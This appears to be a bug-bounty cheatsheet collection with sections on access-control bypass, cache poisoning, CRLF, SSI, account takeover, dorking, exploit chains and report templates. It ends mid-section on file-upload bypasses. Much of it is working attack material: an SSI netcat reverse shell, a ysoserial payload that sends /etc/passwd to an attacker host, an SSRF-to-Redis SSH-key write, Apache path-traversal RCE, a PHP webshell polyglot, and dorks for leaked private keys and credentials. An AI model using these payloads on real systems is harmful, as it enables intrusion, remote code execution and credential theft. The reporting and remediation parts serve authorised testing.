    A working recon pipeline: from a list of root domains to a de-duplicated, response-dumped attack surface ready for manual testing.

    ๐Ÿ—บ Pipeline stages
    1Root domains in โ€” scoped root domains from the program / asset list
    2Subdomain enumeration โ€” passive (CT logs, OSINT) + active (brute-force) discovery
    3Resolve โ€” mass DNS resolution, filter live hosts
    4De-duplicate โ€” merge + sort -u; drop dupes, wildcards and junk
    5HTTP probing & response dump โ€” httpx-style probe, save status/title/tech + raw responses for review
    6Manual testing โ€” work the de-duplicated, response-dumped attack surface with the vulnerability checklists
    ๐Ÿ“‹ Workflow Checklist
    โš ๏ธ Disclaimer

    For authorised security testing only โ€” targets you have explicit written permission to test, within the scope defined by the program.

    53

    ๐Ÿšง Bypassing 403 / 401 Access Control

    CheatsheetsAccess Control

    401/403 bypass techniques. The server denies the request at the edge (reverse proxy / WAF) โ€” the goal is to make the backend resolve the same protected resource through a path the gatekeeper doesn't recognize.

    ๐Ÿ“‹ 403 Bypass Checklist
    ๐ŸŽฏ Header-based bypass
    Edge strips the header, backend honors it
    GET /admin HTTP/1.1
    Host: example.com
    X-Original-URL: /admin
    
    GET / HTTP/1.1
    Host: example.com
    X-Rewrite-URL: /admin
    ๐Ÿงฉ Path mutation payloads
    Same resource, unrecognized path for the gatekeeper
    /admin%2e
    /admin%2f
    /admin%2e%2f
    /admin%3b
    /admin%3f
    /admin%23
    /admin%20
    /admin./
    /admin..;
    /admin..;/
    /;/admin
    /./admin
    /admin/..
    /admin//
    /%2f/admin
    //admin
    /%2e/admin
    /admin%2e%2e/
    /ADMIN
    /AdMiN
    ๐Ÿ”ฌ Automate
    bypass-403 โ€” tries 30+ variants against a target path
    git clone https://github.com/daffainfo/bypass-403
    cd bypass-403
    go build
    ./bypass-403 -u https://example.com -p /admin
    ๐Ÿงฐ References
    iam_j0ker โ€” 403 bypass writeup
    book.hacktricks.xyz โ€” 403/401 bypass
    54

    ๐Ÿช† On-Site Request Forgery (OSRF)

    CheatsheetsCSRF family

    CSRF cousin where the vulnerable app itself issues the cross-origin request. We control a reflected value inside a src-style attribute and point it at a sensitive GET endpoint โ€” the request carries the visiting user's cookies.

    ๐Ÿ“‹ OSRF Checklist
    ๐ŸŽฏ Classic OSRF โ€” password change
    Sensitive GET action + controllable profile image src
    # 1. The sensitive action (cookies, no CSRF token):
    GET /change_password.php?new_password=Testing123 HTTP/1.1
    Host: example.com
    
    # 2. Upload profile picture, set the filename to the payload:
    Content-Disposition: form-data; name="filename"
    change_password.php?new_password=Testing123
    
    # 3. Victim's profile renders:
    <img src="../change_password.php?new_password=Testing123">
    
    # 4. Any visitor's password silently changes to Testing123.
    ๐Ÿงฐ References
    portswigger.net/blog/on-site-request-forgery
    blog.cm2.pw โ€” OSRF
    55

    ๐Ÿ—ƒ Web Cache Poisoning & Deception

    CheatsheetsCaching

    Poisoning: make the cache store a harmful response served to other users. Deception: trick a caching proxy into caching private data. Look for headers like X-Cache, Cf-Cache-Status, Via, Age and Vary to spot a caching layer.

    ๐Ÿ“‹ Cache Poisoning Checklist
    ๐Ÿ“‹ Cache Deception Checklist
    ๐ŸŽฏ Basic poisoning โ€” XSS in response
    Unkeyed header reflected into a cached page
    GET / HTTP/1.1
    Host: www.vuln.com
    X-Forwarded-Host: a."><script>alert(1)</script>
    
    # Cached response stored & served to everyone:
    <img href="https://a."><script>alert(1)</script>a.png" />
    ๐ŸŽฏ Seizing the cache
    X-Host reflected into script src (Age: hits from cache)
    GET / HTTP/1.1
    Host: unity3d.com
    X-Host: evil.com
    
    HTTP/1.1 200 OK
    Via: 1.1 varnish-v4
    Age: 174
    Cache-Control: public, max-age=1800
    ...
    <script src="https://evil.com/x.js">
    ๐ŸŽฏ Chaining unkeyed inputs
    Two headers โ†’ controlled Set-Cookie + redirect Location
    GET /en HTTP/1.1
    Host: redacted.net
    X-Forwarded-Host: xyz
    
    Set-Cookie: locale=en; domain=xyz
    
    GET /en HTTP/1.1
    Host: redacted.net
    X-Forwarded-Scheme: nothttps
    
    HTTP/1.1 301 Moved Permanently
    Location: https://redacted.net
    
    GET /en HTTP/1.1
    Host: redacted.net
    X-Forwarded-Host: attacker.com
    X-Forwarded-Scheme: nothttps
    
    HTTP/1.1 301 Moved Permanently
    Location: https://attacker.com/en
    ๐ŸŽฏ Cache deception โ€” private profile
    Backend serves HTML, cache stores it under an extension
    GET /profile/setting/.js HTTP/1.1
    Host: www.vuln.com
    
    HTTP/2 200 OK
    Content-Type: text/html
    Cf-Cache-Status: HIT
    ...
    # Now open the URL incognito โ†’ victim's private page served from cache.
    ๐Ÿงฐ References
    portswigger.net/research/practical-web-cache-poisoning
    bxmbn โ€” testing web cache vulnerabilities
    56

    โ†”๏ธ CRLF Injection

    CheatsheetsHeaders

    Inject \r\n into a parameter that lands in a response header โ†’ forge headers (Set-Cookie, Location) or split the response body. Hunt on every request/response pair; redirect responses (301/302/303/307/308) are prime suspects.

    ๐Ÿ“‹ CRLF Checklist
    ๐ŸŽฏ Payloads
    Redirect, double-encode and unicode variants
    https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/
    
    https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/
    
    https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/
    
    # Response (forged header):
    HTTP/1.1 200 OK
    Set-Cookie: language=en
    Location: https://evil.com/
    ๐Ÿงฐ References
    blog.innerht.ml โ€” Twitter CRLF injection
    EdOverflow/bugbounty-cheatsheet โ€” crlf
    57

    โš™๏ธ Server-Side Include (SSI) Injection

    CheatsheetsServer-Side

    The server parses <!--#directive --> in .shtml pages. If user input is reflected into one, you can echo variables, read files, and on some servers execute commands.

    ๐Ÿ“‹ SSI Checklist
    ๐ŸŽฏ Payloads
    Detection โ†’ file read โ†’ command exec
    <!--#echo var="DATE_LOCAL" -->
    
    <!--#printenv -->
    
    <!--#include file="includefile.html" -->
    
    <!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
    ๐Ÿงฐ References
    OWASP โ€” Server Side Includes injection
    58

    ๐Ÿ“ฅ Reflected File Download (RFD)

    CheatsheetsClient-Side

    A reflected parameter (e.g. JSONP callback) gets downloaded as a file with an attacker-chosen extension (.bat/.svg/.html). Opening it runs attacker content โ€” extends classic reflected attacks beyond the browser context.

    ๐Ÿ“‹ RFD Checklist
    ๐ŸŽฏ Payload
    Download a .bat file that pops calc on open
    # Content-Disposition has no filename โ†’ semicolon path tricks the browser
    Content-Disposition: attachment;
    
    http://example.com/api;/evil.bat;?callback=||calc||
    
    # No header at all โ†’ download attribute:
    <a download href="https://example/api/?id=1&outputtype=json&callback=||calc||">Press Here</a>
    ๐Ÿงฐ References
    paper: "Reflected File Download a New Web Attack Vector"
    medium โ€” RFD what/how
    59

    ๐Ÿ•ท Tabnabbing (Reverse Tabnabbing)

    CheatsheetsClient-Side

    Links opened with target="_blank" and no rel="noopener" let the new page grab window.opener and rewrite the origin tab to a phishing page while the victim is distracted.

    ๐Ÿ“‹ Tabnabbing Checklist
    ๐ŸŽฏ Vulnerable markup + exploit page
    Missing rel + attacker payload
    <a href="..." target="_blank" />
    
    <html>
    <script>
      if (window.opener) window.opener.parent.location.replace('http://evil.com');
      if (window.parent != window) window.parent.location.replace('http://evil.com');
    </script>
    </html>
    ๐Ÿงฐ References
    hackerone.com/reports/260278
    60

    ๐Ÿ”— Broken Link Hijacking

    CheatsheetsTakeover

    A target links out to a domain/page that expired โ€” register it and you inherit the trust, social accounts, or even session context tied to that origin.

    ๐Ÿ“‹ Broken Link Hijack Checklist
    ๐Ÿงฐ Tools
    Crawl & detect broken outbound links
    npx broken-link-checker https://example.com --recursive --ordered
    
    # Chrome: Check My Links extension for manual review
    ๐Ÿงฐ References
    edoverflow.com/2017/broken-link-hijacking
    hackerone.com/reports/1466889
    61

    ๐Ÿ“ฎ Email Spoofing (SPF / DMARC)

    CheatsheetsSMTP

    If a domain lacks SPF, or DMARC is missing or set to p=none, anyone can send mail that looks like it comes from the company โ€” a staple low-hanging finding in many programs.

    ๐Ÿ“‹ Spoofing Checklist
    ๐ŸŽฏ DNS checks
    Query SPF / DMARC records
    nslookup -type=TXT example.com
    v=spf1 include:_spf.google.com ~all
    
    nslookup -type=TXT _dmarc.example.com
    v=DMARC1; p=none; rua=mailto:dmarc@yourdomain.com
    ๐Ÿงฐ References
    hackerone.com/reports/1071521
    62

    ๐Ÿงฉ Mass Assignment

    CheatsheetsBusiness Logic

    The app binds any request parameter onto an object/entity. Add fields like admin=true to a normal request and the model absorbs them โ€” most common in Ruby on Rails / NodeJS APIs.

    ๐Ÿ“‹ Mass Assignment Checklist
    ๐ŸŽฏ Exploit
    Inject the admin flag into a profile update
    POST /editdata HTTP/1.1
    Host: target.com
    ...
    
    username=daffa&admin=true
    
    HTTP/1.1 200 OK
    ...
    {"status":"success","username":"admin","isAdmin":"true"}
    ๐Ÿงฐ References
    blog.pentesteracademy.com โ€” hunting for mass assignment
    63

    ๐Ÿ‘ค Account Takeover Playbook

    CheatsheetsATO

    Identity theft via OAuth misconfiguration, re-signup logic, CSRF on email-change, IDOR chaining and missing rate limits โ€” ATO methods assembled into one playbook.

    ๐Ÿ“‹ ATO Checklist
    ๐ŸŽฏ Re-signup takeover
    Register victim email, then again with a different password
    POST /newaccount HTTP/1.1
    ...
    email=victim@mail.com&password=1234
    
    POST /newaccount HTTP/1.1
    ...
    email=victim@mail.com&password=hacked
    ๐ŸŽฏ CSRF email change
    Submit in victim's session โ€” their email becomes attacker-controlled
    <html>
    <body>
      <form action="https://evil.com/user/change-email" method="POST">
        <input type="hidden" value="victim@gmail.com"/>
        <input type="submit" value="Submit Request">
      </form>
    </body>
    </html>
    ๐ŸŽฏ IDOR chained password change
    Swap userid from attacker to victim
    POST /changepassword.php HTTP/1.1
    Host: site.com
    ...
    userid=501&password=heked123
    ๐Ÿงฐ References
    vijetareigns.medium.com โ€” pre-ATO via OAuth
    zseano.medium.com โ€” re-signup ATO
    64

    ๐Ÿท Technology-Specific Misconfigurations

    CheatsheetsTech Stack

    "What would you do if you found X?" โ€” per-technology checks: detect โ†’ version โ†’ known CVE โ†’ default creds โ†’ misconfig endpoints.

    ๐Ÿ˜ Apache
    Apache path-traversal RCE (2.4.49)
    POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 7
    
    echo;id
    ๐ŸŸข Nginx
    โšก HAProxy
    HAProxy integer-overflow smuggling
    POST /index.html HTTP/1.1
    Host: abc.com
    Content-Length0aaa...a:
    Content-Length: 60
     
    GET /admin/add_user.py HTTP/1.1
    Host: abc.com
    abc: xyz
    ๐Ÿ“ˆ Grafana
    ๐Ÿ“ฆ Jenkins
    ๐Ÿ“‹ Jira
    ๐ŸŒ Confluence
    ๐Ÿ”ถ WordPress
    ๐Ÿ“ฐ Joomla
    ๐ŸŽ“ Moodle
    ๐Ÿ˜ Laravel
    ๐Ÿงฑ Zend
    ๐Ÿงฐ References
    cvedetails.com
    wpscan.com
    exploit-db.com
    pwn_jenkins
    65

    ๐Ÿ” Dorking & Scope Methodology

    CheatsheetsRecon

    Google / GitHub / Shodan dork batteries plus a scope-size-driven recon methodology. Substitute example.com / keyword with your target.

    ๐Ÿ”Ž Google Dorks
    High-value site / intitle / filetype dorks
    inurl:example.com intitle:"index of"
    inurl:example.com intitle:"index of /" "*key.pem"
    inurl:example.com ext:log
    inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
    inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
    inurl:example.com intitle:"index of" "config.db"
    inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml
    inurl:example.com intext:admin ext:sql inurl:admin
    inurl:example.com allintext:username,password filetype:log
    site:example.com "-----BEGIN RSA PRIVATE KEY-----"
    site:pastebin.com "keyword"
    site:trello.com "keyword"
    site:bitbucket.org "keyword"
    site:*atlassian.net "keyword"
    inurl:github "keyword"
    ๐Ÿ™ GitHub Dorks (curated)
    Token/secret patterns + filename dorks
    "password" "username" extension:json
    "api_key" "api_secret"
    "client_secret" "client_id"
    "aws_access_key_id" "aws_secret_access_key"
    "AKIA[0-9A-Z]{16}"
    "xox[bp]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32}"   # Slack
    "-----BEGIN RSA PRIVATE KEY-----"
    "-----BEGIN OPENSSH PRIVATE KEY-----"
    "-----BEGIN PGP PRIVATE KEY BLOCK-----"
    "BEGIN DSA PRIVATE KEY"
    ".mlab.com password"
    "rds.amazonaws.com password"
    "https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}"
    "secret_key" "secret_token" "private_key"
    "jdbc:mysql://" password
    extension:sql mysql dump password
    filename:.env DB_USERNAME NOT homestead
    filename:.env MAIL_HOST=smtp.gmail.com
    filename:.git-credentials
    filename:.bash_history
    filename:id_rsa
    filename:wp-config.php
    filename:config.php dbpasswd
    filename:secrets.yml password
    filename:.htpasswd
    filename:shadow path:etc
    filename:.npmrc _auth
    filename:settings.py SECRET_KEY
    filename:.dockercfg auth
    filename:prod.exs
    filename:.netrc password
    HEROKU_API_KEY language:shell
    GITHUB_TOKEN
    [WFClient] Password= extension:ica
    ๐Ÿ›ฐ Shodan Dorks (curated)
    Basics + databases + juicy infra
    city:"Bangalore"
    country:"IN"
    geo:"56.913055,118.250862"
    hostname:example.com
    hostname:example.com,example.org
    net:210.214.0.0/16
    org:microsoft
    asn:ASxxxx
    port:21 proftpd
    apache after:22/02/2009 before:14/3/2010
    ssl.cert.expired:true ssl.cert.subject.cn:example.com
    ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com
    product:MySQL
    product:MongoDB
    port:9200 json
    product:Redis
    port:5432 PostgreSQL
    product:CouchDB
    "port:8087 Riak"
    product:Cassandra
    "X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
    "Docker Containers:" port:2375
    "Docker-Distribution-Api-Version: registry" "200 OK" -gitlab
    "authentication disabled" port:5900,5901
    "root@" port:23 -login -password -name -Session
    port:5555 "Android Debug Bridge" "Device"
    "Authentication: disabled" port:445
    "220" "230 Login successful." port:21
    title:"Weave Scope" http.favicon.hash:567176827
    http.title:"Index of /" http.html:".pem"
    http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
    http.html:"* The wp-config.php creation script uses this file"
    title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944
    "port:502"   # Modbus ICS
    "port:102"   # Siemens S7 ICS
    "Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995
    ๐Ÿ—บ Scope-Size Methodology
    ๐Ÿงฐ References
    xmind.net/m/hKKexj โ€” scope methodology
    Key-Checker
    keyhacks
    66

    ๐Ÿค– AI-Powered Bug Hunting

    ChecklistAutomation

    LLM-assisted workflows. Use AI for scope analysis, code review, deobfuscation, payload generation and report drafting โ€” but always manually verify AI findings before reporting and never feed sensitive data to third-party systems.

    ๐Ÿ“‹ AI-Assisted Checklist
    ๐ŸŽฏ Proven prompt recipes
    Copy-paste prompts for each hunting stage
    # Scope analysis
    "Analyze this bug bounty scope document and identify the highest value
     assets, excluded areas, and any potentially ambiguous areas to clarify
     with the program."
    
    # Subdomain pattern mining
    "I've found these subdomains for target.com: [list]. What naming patterns
     do you see, and what other potential subdomains might exist?"
    
    # Tech stack โ†’ vulns
    "Based on this technology stack [list], what are the most common
     vulnerabilities and misconfigurations I should look for?"
    
    # JS review
    "Analyze this JavaScript code for potential security vulnerabilities.
     Focus on XSS, prototype pollution, and insecure API usage."
    
    # Payload generation (filtered context)
    "I'm testing for XSS in a parameter reflected inside a JavaScript string
     context. The app filters alert(), document.cookie, and <script> tags.
     Generate 5 potential bypass payloads."
    
    # IDOR detection
    "Here are two API responses from the same endpoint with different user
     tokens. Identify potential IDOR vulnerabilities or access control issues."
    ๐ŸŽฏ Tech-stack โ†’ AI workflow
    Detect stack, feed to an LLM API, print advice
    httpx -u https://target.com -tech-detect -json | jq .tech > tech_stack.json
    
    python3 -c "
    import json, openai, sys
    tech = json.load(open('tech_stack.json'))
    response = openai.ChatCompletion.create(
        model='gpt-4',
        messages=[{'role': 'user', 'content':
            f'This is the detected technology stack: {tech}. What are common
             security misconfigurations and vulnerabilities I should check for?'}])
    print(response.choices[0].message.content)
    "
    ๐Ÿงฐ References
    AI-assisted hunting notes
    openai.com API โ€” prompt-driven hunting
    67

    ๐Ÿ›ฐ๏ธ 2025 Advanced Techniques โ€” Cloud, Supply Chain & AI

    ChecklistZero-Day & Cloud

    Forward-looking techniques from 2025_Bug_Bounty_Techniques.md: cloud-native & serverless attacks, supply-chain, CI/CD pipeline compromise, container escape, Web3/blockchain and zero-day mining. Apply where the target's stack includes these systems.

    ๐Ÿ“‹ Cloud-Native Checklist
    ๐Ÿ“‹ Supply Chain & CI/CD Checklist
    ๐Ÿ“‹ Container Escape & Web3 Checklist
    ๐Ÿ“‹ Zero-Day Mining & API Checklist
    ๐ŸŽฏ K8s RBAC escalation
    Map roles / service-accounts then find privesc paths
    kubehound scan --cluster-context prod --output rbac-map.json
    kubehound analyze --input rbac-map.json --attack-path
    ๐ŸŽฏ GraphQL recursive query (DoS)
    Exponential resolution workload
    query MaliciousQuery {
      user(id: 1) { friends { friends { friends { friends { friends { } } } } } }
    }
    ๐Ÿงฐ References
    Advanced technique notes
    kubehound / chainbreaker / aifuzz / patternscan (concepts)
    68

    ๐ŸŽ“ Real-World Exploit Playbook โ€” H1 Case Studies

    ChecklistCase Studies

    Proven exploit chains + real HackerOne reports from Advanced_Vulnerability_Playbook.md. Each section: detection โ†’ real-world example โ†’ remediation. Bookmark the H1 reports as reference cases.

    ๐Ÿ“‹ Exploit Chain Checklist
    ๐ŸŽฏ SSRF โ†’ Redis โ†’ RCE
    Discover internal Redis, write SSH key, get shell
    # 1. Discover internal Redis
    https://target.com/fetch-image?url=http://localhost:6379/
    
    # 2. Write SSH public key via Redis
    https://target.com/fetch-image?url=redis://localhost:6379/
          CONFIG SET dir /home/user/.ssh/
          CONFIG SET dbfilename authorized_keys
          SET payload "\n\nssh-rsa AAAA...your-ssh-key...xyz user@attacker\n\n"
          SAVE
    ๐ŸŽฏ JWT RSA key confusion
    Convert the target's public cert into the HMAC secret
    # Extract target's public key, then sign a forged token
    python3 jwt_tool.py <token> -X k -pk public.pem
    ๐ŸŽฏ Java deserialization RCE
    Generate a gadget-chain payload
    java -jar ysoserial.jar CommonsCollections5 \
      'curl -d "$(cat /etc/passwd)" https://attacker.com' | base64
    ๐ŸŽฏ XSS polyglot (WAF bypass)
    One payload, many contexts
    jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    ๐Ÿงฐ References
    hackerone.com/reports/198517 โ€” SQLi Zomato
    hackerone.com/reports/341876 โ€” SSRFโ†’RCE Exchange
    hackerone.com/reports/231519 โ€” XXE Uber
    hackerone.com/reports/965052 โ€” Java deser Uber
    hackerone.com/reports/665651 โ€” OAuth redirect theft
    hackerone.com/reports/1522626 โ€” GraphQL field suggestions
    69

    ๐Ÿงฐ Tools & Resources Arsenal

    ChecklistResource Hub

    Curated catalog from tools_list.md + Advanced_Bug_Hunting_Resources.md โ€” grouped by stage. Installers below cover the Project Discovery + tomnomnom essentials.

    ๐Ÿ“‹ Recon & Discovery
    ๐Ÿ“‹ Scanners & Exploitation
    ๐Ÿ“‹ Cloud / Mobile / IaC
    ๐ŸŽฏ Install essentials (Go)
    Project Discovery toolkit
    go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
    go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
    go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
    go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
    go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
    go install -v github.com/projectdiscovery/katana/cmd/katana@latest
    go install -v github.com/projectdiscovery/notify/cmd/notify@latest
    go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
    ๐ŸŽฏ Install essentials (tomnomnom)
    Core workflow utilities
    go install -v github.com/tomnomnom/anew@latest
    go install -v github.com/tomnomnom/gf@latest
    go install -v github.com/tomnomnom/waybackurls@latest
    go install -v github.com/tomnomnom/httprobe@latest
    go install -v github.com/tomnomnom/unfurl@latest
    go install -v github.com/lc/gau/v2/cmd/gau@latest
    go install -v github.com/ffuf/ffuf@latest
    ๐Ÿ“‹ Learning & Platforms
    ๐Ÿงฐ References
    Tools list
    Advanced hunting resources
    wordlists.assetnote.io
    book.hacktricks.xyz
    70

    ๐Ÿ“ฎ Professional Bug Bounty Reporting

    ReportingReport Writing

    A proven report-writing flow. A clean, structured, reproducible report is half the payout: triagers must be able to reproduce your finding without guessing. Pick the right template for the job, back every claim with evidence, and never overstate severity.

    ๐Ÿ“‹ Template Selection Checklist
    ๐Ÿ“Š Severity Ratings Guide (CVSS 3.1)
    RatingCVSS 3.1DescriptionExamples
    Critical9.0 โ€“ 10.0Immediate, widespread impact, trivial exploitationRCE, auth bypass, SQLi with admin access
    High7.0 โ€“ 8.9Significant impact, may require conditionsStored XSS, SSRF to internal services, privesc
    Medium4.0 โ€“ 6.9Moderate impact, user interaction or conditionsReflected XSS, CSRF, info disclosure
    Low0.1 โ€“ 3.9Limited impact, difficult to exploitSelf-XSS, verbose errors, minor info leaks
    Informational0.0No direct security impactBest-practice violations, missing headers
    ๐Ÿ—ƒ Evidence Collection Checklist
    ๐Ÿšซ Common Mistakes to Avoid
    Blank.md โ€” full report skeleton
    # Title
    ## Issue Description
    A generic overview of the issue (OWASP default text) + the specific
    instance identified inside the application.
    
    ## Affected URL/Area
    - The affected URLs or area of the application.
    
    ## Risk Rating
    - Risk: **Critical / High / Medium / Low / Informational**
    - Difficulty to Exploit: **Low / Medium / High**
    - Authentication Required: **Yes / No**
    - User Interaction Required: **Yes / No**
    - CVSS 3.1 Score: [X.X]
    
    ### Impact
    - What kind of attacker could exploit this? (external, auth'd user, admin)
    - What access/privileges do they need?
    - What can they achieve? (data theft, privesc, service disruption)
    - Who else does it affect?
    
    ### Attack Scenario
    Describe a realistic scenario showing real-world exploitation.
    
    ## Steps to Reproduce/PoC
    1. Step one...
    2. Step two...
    3. Step three...
    
    ### Request
    POST /endpoint HTTP/1.1
    Host: target.com
    Content-Type: application/json
    
    {"example": "payload"}
    
    ### Response
    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {"result": "response showing vulnerability"}
    
    ### Screenshots
    - screenshot1.png - Description of what it shows
    
    ## Affected Demographic/User Base
    - Who is affected? Everyone or a select set of users?
    - How can it occur in normal usage? Scale of impact?
    
    ## Recommended Fix
    - How to fix the issue + any quick mitigations while a full fix ships.
    
    ## References
    - [1] [Reference](https://example.com)
    short.md โ€” quick template
    ## Issue Description
    - What did you find?
    - Who does it affect?
    - Where did you find it?
    - Why is it an issue?
    - How can it be exploited?
    
    ## Affected Hosts
    - blah
    
    ## Proof of Concept
    How to reproduce this issue
    
    ## Recommendation
    How do we fix this issue?
    ๐Ÿ”— References
    71

    ๐Ÿ”Œ API Vulnerability Report Template

    ReportingAPI Security

    API.md โ€” specialized report structure for API vulnerabilities. API bugs are about broken objects, broken function-level auth and abuse of the endpoint surface, so the report must document endpoint, auth context, enumeration scale and the data exposed.

    ๐Ÿ“‹ API Vulnerability Type Checklist
    ๐Ÿ“Š API Vulnerability Impact Matrix
    Vulnerability TypeTypical SeverityKey Impact
    BOLA/IDOR (data access)High โ€“ CriticalAccess to other users' data
    Broken AuthenticationCriticalAccount takeover, session hijacking
    Mass AssignmentMedium โ€“ HighPrivilege escalation, data modification
    Excessive Data ExposureMedium โ€“ HighPII / sensitive data leakage
    Rate Limiting (auth endpoints)Medium โ€“ HighBrute force, credential stuffing
    Rate Limiting (other)Low โ€“ MediumDoS, resource abuse
    Security MisconfigurationLow โ€“ HighVaries by exposure
    ๐Ÿ”‘ Authentication Context
    ๐Ÿ”ข ID/Parameter Enumeration (for BOLA/IDOR)
    Original ValueModified ValueResult
    user_id=1001user_id=1002Access granted (VULN)
    user_id=1001user_id=1003Access granted (VULN)
    order_id=ABC123order_id=ABC124Access granted (VULN)
    ๐Ÿ”Ž ID Format Analysis
    ๐Ÿ’พ Data Exposed Table
    FieldSensitivityExample
    EmailPIIuserb@example.com
    PhonePII+1-555-0123
    AddressPII123 Private St
    Payment InfoFinancialLast 4 digits visible
    Internal IDsTechnicaldatabase_id, internal refs
    Authorization check example (pseudocode)
    @app.route('/users/<user_id>/profile')
    @require_auth
    def get_profile(user_id):
        current_user = get_current_user()
    
        # Authorization check - user can only access own profile
        if str(current_user.id) != user_id:
            if not current_user.is_admin:
                return error(403, "Access denied")
    
        return get_user_profile(user_id)
    ๐Ÿ›  Immediate Fixes
    ๐Ÿ”— References
    72

    ๐Ÿ•ธ SSRF Report Template

    ReportingSSRF

    SSRF.md โ€” SSRF reports must show exactly what you reached: cloud metadata, internal services, local files. Document SSRF type, supported protocols, bypass techniques used, and the impact classification that justifies severity.

    ๐Ÿ“‹ SSRF Type Checklist
    ๐Ÿงช Protocols Tested
    ๐Ÿ“Š SSRF Impact Classification
    Access LevelSeverityExamples
    Cloud metadata (169.254.169.254)CriticalAWS/GCP/Azure credentials, IAM roles
    Internal services (DBs, admin panels)Critical/HighData exfiltration, internal exploitation
    Internal network scanningHighPort scanning, service discovery
    Local file read (file://)HighConfig files, source code
    Outbound requests onlyMediumBypass IP restrictions, attack third parties
    Blind SSRF (no response)Medium/LowLimited impact without response data
    ๐Ÿš€ Bypass Techniques Used
    Bypass examples + blocked IP ranges
    # Decimal IP for 127.0.0.1
    http://2130706433/
    
    # IPv6 localhost
    http://[::1]/
    
    # DNS rebinding
    http://your-rebind-domain.com/
    
    # Ranges a hardened resolver should block:
    127.0.0.0/8        # Loopback
    10.0.0.0/8         # Private Class A
    172.16.0.0/12      # Private Class B
    192.168.0.0/16     # Private Class C
    169.254.0.0/16     # Link-local (includes metadata)
    ::1/128            # IPv6 loopback
    fc00::/7           # IPv6 private
    ๐Ÿ›  Recommendations
    ๐Ÿ”— References
    73

    ๐Ÿ“š Reference Report โ€” Stored XSS Case Study

    ReportingTemplate

    Example.md โ€” a complete, high-quality reference report: stored XSS via image-upload MIME-type confusion. Study the structure, severity justification and remediation depth; benchmark your own reports against this standard.

    ๐Ÿ“‹ Report Structure Walkthrough
    ๐Ÿ›ก Severity Justification (why High)
    The multipart upload that triggered it (Burp)
    POST /file/upload/ HTTP/1.1
    Host: example.com
    Content-Type: multipart/form-data; boundary=--900627130554
    
    ------------------------------900627130554
    Content-Disposition: form-data; name="stored_XSS.jpg"; filename="stored_XSS.jpg"
    Content-Type: text/html
    
    <script>alert('document.domain')</script>
    ------------------------------900627130554--
    ๐Ÿ›  Remediation Steps
    ๐Ÿ“… Report Timeline
    DateAction
    2016-08-13Vulnerability discovered
    2016-08-13Initial report submitted
    2016-08-15Vendor acknowledged receipt
    2016-08-20Vendor confirmed vulnerability
    2016-09-01Fix deployed to production
    2016-09-15Public disclosure
    ๐Ÿ”— References
    74

    ๐Ÿง  Business Logic โ€” E-commerce Critical

    P5 ยท E-commerce criticalChecklist

    Money-flows are where e-commerce pays out big. Logic flaws in price, payment, wallet, coupon, refund, loyalty, order and seller flows are high-impact and often bypass scanners completely. Always recompute every money decision server-side in your head and ask: what does the server trust that it should not?

    ๐Ÿ’ฒ Pricing & Cart Logic
    ๐ŸŽŸ Coupon, Wallet & Refund Logic
    ๐Ÿ“ฆ Order, Payment & Seller Flows
    ๐Ÿงฐ Tools
    burpsuite
    turbo intruder
    custom scripts
    jq / curl
    75

    ๐Ÿ”Œ E-commerce API Deep-Dive

    P5Automation

    E-commerce runs on APIs โ€” mobile app and internal APIs are often less hardened than the main web app. Hunt BOLA/IDOR, mass assignment, parameter pollution, undocumented endpoints and auth-bypass on every API tier, then chain them for account takeover or financial impact.

    Enumerate endpoints from mobile app traffic (burp + ffuf)
    # 1. proxy the mobile app through Burp, capture all hostnames + paths
    # 2. dump endpoints, then fuzz deeper with wordlists
    ffuf -u https://api.target.com/FUZZ -w /root/wordlists/api-endpoints.txt -mc all -fc 404 -t 100
    
    # 3. discover undocumented /v1 /v2 /internal /admin paths
    ffuf -u https://api.target.com/FUZZ -w /root/wordlists/dirs.txt -mc 200,201,202,301,403 -t 100
    
    # 4. grep captured traffic for hidden id / token / internal namespaces
    echo "target.com" | waybackurls | grep -iE "(admin|internal|graphql|v[0-9]+/|invoice|wallet|coupon|payout)" | sort -u
    ๐Ÿ“‹ API Authorization & Business Data
    ๐Ÿงฐ Tools
    burpsuite
    postman
    kiterunner
    ffuf
    waybackurls
    arjun
    graphql-cop
    nuclei
    76

    ๐Ÿ“ File Upload โ€” Supplier/Vendor Panel

    P4 ยท Supplier panelChecklist

    Supplier, vendor and catalog panels accept images, docs, CSVs and ZIPs โ€” classic uploadโ†’stored-XSS / RCE territory. Test every stage: extension, MIME, content, filename, storage location, and post-processing (parsing, resizing, extraction).

    Upload bypass payloads (copy per request)
    # extension + MIME bypass combos
    shell.php / shell.php5 / shell.phtml / shell.phar / shell.pht
    shell.php.jpg / shell.jpg.php / shell.php%00.jpg / shell.php.
    Content-Type: image/png   (while body is PHP)
    
    # polyglot: real image bytes + PHP at end
    printf '\x89PNG\r\n\x1a\n<?php echo shell_exec($_GET[cmd]); ?>' > poly.png.php
    
    # .htaccess that enables PHP execution
